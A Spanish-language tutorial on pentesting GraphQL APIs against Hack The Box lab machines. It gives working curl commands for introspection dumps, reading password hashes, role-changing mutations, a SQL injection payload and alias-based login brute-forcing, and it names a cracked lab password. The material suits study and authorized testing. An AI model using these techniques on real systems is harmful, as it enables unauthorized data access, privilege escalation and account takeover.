Pentesting GraphQL: introspección, consultas y mutaciones paso a paso

Cómo auditar una API GraphQL: encontrar el endpoint, volcar el esquema con introspección, leer datos que no deberías, abusar de mutaciones y saltarte límites con alias.

· 5 min de lectura

GraphQL es una forma de hacer APIs en la que el cliente decide qué datos quiere: en vez de muchas rutas (/api/users, /api/orders), hay un solo endpoint al que mandas una consulta. Para un atacante tiene una ventaja enorme: muchas veces la API te cuenta su esquema entero si se lo pides, con todos los tipos, campos y operaciones, incluidos los que la web no usa.

Lo mínimo que tienes que saber

  • Query: lee datos. { user(id: 1) { username email } }.
  • Mutation: cambia datos. mutation { updateUser(id: 1, role: "admin") { id } }.
  • Introspección: consultas especiales (__schema, __type) que devuelven el esquema. En producción debería estar desactivada; en HTB y en muchas webs reales no lo está.
  • Todo va normalmente por POST con un JSON {"query": "..."}, y las respuestas vienen en {"data": ...} o {"errors": ...}. Un error no siempre es un código 4xx: GraphQL suele responder 200 con el error dentro.

Requisitos

  • curl y jq.
  • Burp Suite con la extensión InQL (desde el BApp Store) para ver el esquema como un árbol y generar consultas.
  • Opcional: GraphQL Voyager para dibujar el esquema.
  • Para practicar: Help (fácil, Linux) y Cereal (difícil, Windows).

Paso 1: encontrar el endpoint

Las rutas típicas son /graphql, /api/graphql, /graphiql, /v1/graphql, /playground y /query. Búscalas con ffuf:

ffuf -u http://10.10.10.121:3000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/graphql.txt -mc all -fc 404
graphql                 [Status: 400, Size: 18, Words: 3, Lines: 1]

Un 400 con un mensaje como GET query missing. o Must provide query string. es buena señal. Mira también el JavaScript de la web: si el frontend usa GraphQL, verás el endpoint y consultas enteras.

Paso 2: confirmar que es GraphQL

La consulta más pequeña posible es __typename, que existe en cualquier servidor:

curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__typename}"}'
{"data":{"__typename":"Query"}}

Si responde eso, tienes GraphQL. Si el servidor no acepta JSON, prueba por GET: curl -s 'http://10.10.10.121:3000/graphql?query={__typename}'.

Paso 3: volcar el esquema con introspección

Pide la lista de tipos con sus campos y argumentos:

curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} mutationType{name} types{name kind fields{name args{name} type{name kind ofType{name}}}}}}"}' \
  | jq '.data.__schema.types[] | select(.name | startswith("__") | not) | {name, fields: [.fields[]?.name]}'
{
  "name": "Query",
  "fields": ["user"]
}
{
  "name": "User",
  "fields": ["username", "password"]
}

Ignora los tipos que empiezan por __ (son del propio GraphQL) y los escalares (String, Int, Boolean). Lo que importa:

  • Los campos del tipo Query: lo que puedes leer.
  • Los del tipo Mutation (si mutationType no es null): lo que puedes cambiar.
  • Los campos con nombres jugosos: password, token, role, isAdmin, apiKey, secret.

Truco

Para esquemas grandes, carga el endpoint en InQL (pestaña Scanner) o copia la consulta de introspección completa que trae y pega la respuesta en GraphQL Voyager. Ver el esquema como un grafo ahorra mucho tiempo.

Paso 4: leer lo que no deberías

Con el esquema, pide directamente los campos interesantes:

curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{ user { username password } }"}'
{"data":{"user":{"username":"[email protected]","password":"<hash MD5>"}}}

Es la entrada de Help: el hash MD5 se crackea (godhelpmeplz) y con esas credenciales entras en HelpDeskZ. El cracking está en la guía de hashcat y John.

Prueba también con los argumentos: si una consulta recibe un id, cambia el número para ver datos de otros usuarios. Es un IDOR igual que en una API REST.

Paso 5: si la introspección está desactivada

Responderá algo como GraphQL introspection is not allowed. Aun así, muchos servidores sugieren nombres cuando te equivocas:

curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' -d '{"query":"{ usr }"}'
{"errors":[{"message":"Cannot query field \"usr\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}

La herramienta clairvoyance reconstruye el esquema entero a base de estas sugerencias:

pipx install clairvoyance
clairvoyance http://10.10.10.10/graphql -o esquema.json

Paso 6: mutaciones

Las mutaciones son donde están los fallos graves: cambiar el rol de un usuario, restablecer contraseñas o hacer que el servidor pida una URL.

curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' \
  -d '{"query":"mutation { updateProfile(id: 2, role: \"admin\") { id role } }"}'

En Cereal una mutación recibe una URL que el servidor visita: un SSRF que lleva a la ejecución de código. Lee cada mutación del esquema y pregúntate qué pasa si le das un valor que no debería aceptar.

Paso 7: inyecciones en los argumentos

Los argumentos acaban muchas veces en una consulta SQL o NoSQL. Prueba los mismos payloads que en cualquier formulario:

curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{ user(name: \"admin'"'"' OR 1=1-- -\") { username } }"}'

Si da un error de base de datos o devuelve más resultados, sigue con la guía de inyección SQL. sqlmap funciona si marcas el punto de inyección con * dentro de una petición guardada desde Burp.

Paso 8: alias para saltarse el límite de intentos

GraphQL permite varias operaciones en una sola petición con alias. Un límite de "5 intentos por petición" no sirve de nada:

mutation {
  a1: login(username: "admin", password: "123456") { token }
  a2: login(username: "admin", password: "password") { token }
  a3: login(username: "admin", password: "qwerty") { token }
}

Genera cientos de alias con un pequeño script y mándalos de una vez.

Errores típicos

  • Must provide query string: falta la cabecera Content-Type: application/json o el cuerpo no es un JSON válido.
  • Las comillas del JSON te vuelven loco: escribe la consulta en un fichero y envíala con curl -d @consulta.json, o usa Burp.
  • Cannot query field "x" on type "Y": ese campo no existe en ese tipo. Vuelve al esquema; quizá está en un tipo anidado.
  • Todo devuelve null sin errores: necesitas autenticación. Busca un token en las cookies o en localStorage y mándalo en Authorization: Bearer ....
  • GET funciona y POST no (o al revés): algunos servidores solo aceptan uno de los dos. Si acepta GET con cookies, prueba también un CSRF.

Y después

Tienes las APIs en el apartado de mapeo de la checklist web, y el resto de fallos típicos de APIs (IDOR, mass assignment) en IDOR y mass assignment en APIs.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

GraphQL 2 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo